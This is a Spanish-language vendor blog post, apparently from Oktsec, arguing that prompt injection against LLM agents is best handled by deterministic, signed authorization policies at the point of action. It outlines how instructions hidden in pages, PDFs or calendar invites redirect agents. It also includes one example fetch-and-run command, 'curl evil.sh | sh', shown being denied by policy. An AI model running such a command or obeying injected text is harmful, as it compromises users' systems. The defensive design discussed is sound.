El prompt injection es un problema de autorización.
Los filtros de contenido pierden esta carrera armamentista por diseño. La solución duradera es dejar de vigilar lo que el modelo leyó y empezar a hacer cumplir lo que el agente tiene permitido hacer.
La versión corta
- El prompt injection no es un bug de contenido que se pueda filtrar; es entrada no confiable alcanzando una acción privilegiada.
- Las defensas basadas en detección son probabilísticas y pierden ante lo nuevo. La autorización es determinista y se sostiene.
- Decidir qué puede hacer un agente antes de que actúe, y verificar qué hizo después contra una política firmada.
- Oktsec implementa esto como un ciclo de control: política firmada de entrada, trabajo aplicado en el entorno, evidencia verificada de vuelta.
Cualquiera que haya puesto en producción algo con un agente LLM en el último año leyó un hilo como este: alguien esconde una instrucción dentro de una página web, un PDF, un comentario de código o una invitación de calendario; el agente la lee; el agente hace algo que no debería. La reacción es casi siempre la misma. Agregar un clasificador. Agregar un guardrail. Agregar un system prompt que diga, con firmeza, que ignore las instrucciones maliciosas.
Después alguien encuentra una formulación nueva y el ciclo se repite. Esto no es una racha de bugs con mala suerte. Es el resultado predecible de tratar un problema de autorización como un problema de contenido.
Por qué el filtrado pierde
El filtrado de contenido plantea una pregunta sin respuesta: ¿este texto intenta manipular al modelo? El espacio de formulaciones maliciosas es ilimitado, multilingüe y trivial de ofuscar. Cada filtro que se agrega es un clasificador probabilístico parado frente a un sistema que, por diseño, sigue instrucciones en lenguaje natural. Es intentar ganar un debate contra cada oración de internet.
Peor: el costo de un solo fallo no es un párrafo mal escrito. Es una acción real: un comando de shell, una escritura en la base de datos, la lectura de una credencial, un pull request mergeado a main. El radio de impacto lo define lo que el agente puede hacer, no lo que leyó. El filtrado intenta achicar las entradas. Con el radio de impacto no hace nada.
La pregunta no es "¿este prompt era malicioso?". Es "¿este agente, en este entorno, debería tener permitido ejecutar esta acción ahora mismo?"
Replanteo: entrada no confiable frente a acción privilegiada
La seguridad ya resolvió una versión de esto. No frenamos la inyección SQL detectando SQL malintencionado; la frenamos separando datos de comandos con consultas parametrizadas. No frenamos el cross-site scripting adivinando qué strings son scripts; lo frenamos controlando dónde se permite ejecutar datos no confiables.
Los agentes necesitan la misma jugada. En el momento en que una entrada no confiable puede alcanzar una acción privilegiada sin un chequeo determinista en el medio, hay una vulnerabilidad, sin importar qué tan ingenioso sea el prompt. Entonces el chequeo va ahí: en la frontera entre intención y acción.
Cómo se ve una frontera de autorización para agentes
En concreto, tres cosas tienen que cumplirse en el punto donde un agente intenta actuar:
- La acción tiene nombre y scope. Los tool calls, el egreso de red, las escrituras de archivos y las lecturas de credenciales son capacidades explícitas, no poderes ambientales que el agente tiene porque corre en una máquina que los tiene.
- Una regla determinista decide permitir o denegar. Ningún modelo participa en el camino de la decisión. La misma entrada produce siempre la misma decisión, y esa decisión se puede revisar después.
- La decisión produce evidencia. Qué se intentó, qué política aplicó y qué pasó quedan registrados como un artefacto verificable, no como una línea de log que se espera que alguien lea.
Observemos qué le hace esto al prompt injection. El atacante todavía puede colar una instrucción más allá del modelo. El agente todavía puede decidir ejecutar shell.exec("curl evil.sh | sh"). Pero la acción choca contra una política que nunca incluyó shell.exec entre las herramientas permitidas para ese entorno, así que se deniega y se envía a revisión. La inyección tuvo éxito en la capa de lenguaje y falló en la capa que importa.
Antes y después, no solo antes
La autorización en el momento de la acción es necesaria pero no suficiente. Los agentes corren durante horas y mantienen estado; los entornos derivan; la política se actualiza. Por eso la frontera tiene dos mitades.
Antes: el entorno descarga la política firmada y la aplica localmente, de modo que las reglas vigentes son exactamente las que se escribieron: ni una copia vieja, ni una alterada. Después: el entorno reporta lo que efectivamente hizo, y esa evidencia se compara contra lo esperado. Cuando coinciden, el entorno está alineado. Cuando divergen, el estado de falla tiene nombre: desactualizado, distinto, faltante, sin verificar.
Qué significa esto en la práctica
Para quien defiende un agente hoy, el trabajo de mayor impacto no es un mejor clasificador de inyecciones. Es inventario y scope: enumerar cada entorno donde un agente hace trabajo de la empresa, listar las capacidades que cada uno realmente necesita y poner una política determinista en la frontera de acción. Después, hacer que la evidencia sea revisable, para poder probar a posteriori qué tenía permitido hacer cada agente y qué hizo.
Los filtros siguen teniendo lugar como defensa en profundidad. Pero hay que tratarlos como lo que son, una capa externa probabilística, y depositar la confianza en la capa determinista que está debajo.
Esta es la tesis sobre la que está construido Oktsec. El ciclo de control de este artículo (política firmada de entrada, trabajo aplicado en el entorno, evidencia verificada de vuelta) es el producto. Ver cómo funciona →